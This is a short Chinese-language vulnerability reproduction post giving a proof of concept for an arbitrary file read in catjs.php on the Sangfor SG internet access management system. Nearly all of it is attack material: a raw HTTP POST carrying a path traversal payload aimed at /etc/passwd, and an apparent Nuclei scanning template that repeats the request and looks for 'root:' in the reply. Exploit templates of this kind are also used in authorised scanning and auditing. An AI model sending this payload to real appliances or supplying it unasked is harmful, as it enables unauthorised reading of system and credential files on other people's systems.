【漏洞复现】深信服SG上网优化管理系统catjs.php任意文件读取漏洞 附POC

POST /php/catjs.php HTTP/1.1Host: xxxUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:78.0) Gecko/20100101 Firefox/78.0Content-Length: 35Accept-Encoding: gzip, deflateContent-Type: application/x-www-form-urlencoded ["../../../../../../../etc/passwd"]

id: sangfor-sg-catjs-fileread info:  name: 深信服SG上网优化管理系统catjs.php任意文件读取漏洞  author: YGnight  severity: high  description: description  reference:    - https://  tags: tags requests:  - raw:      - |-        POST /php/catjs.php HTTP/1.1        Host: {{Hostname}}        User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:78.0) Gecko/20100101 Firefox/78.0        Content-Length: 35        Accept-Encoding: gzip, deflate        Content-Type: application/x-www-form-urlencoded         ["../../../../../../../etc/passwd"]     matchers-condition: and    matchers:      - type: status        status:          - 200      - type: word        words:          - 'root:'